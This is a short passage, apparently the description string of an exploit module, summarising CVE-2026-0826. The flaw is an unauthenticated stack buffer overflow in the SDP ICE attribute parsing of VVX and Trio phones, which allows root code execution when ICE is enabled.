'Description' => %q{
CVE-2026-0826 is a critical unauthenticated stack-based buffer overflow vulnerability affecting all
models in the VVX series (VVX 150, VVX 250, VVX 350, and VVX 450), as well as three models from the Trio IP
Conference series (Trio 8800, Trio 8500, and Trio 8300). A remote attacker can leverage CVE-2026-0826 to achieve
unauthenticated remote code execution (RCE) with root privileges on a target device. The vulnerability is present
in the device's parsing of Session Description Protocol (SDP) attributes for Interactive Connectivity Establishment
(ICE). The ICE feature, which is not enabled by default, must be enabled for the device to be exploitable by a
remote attacker.
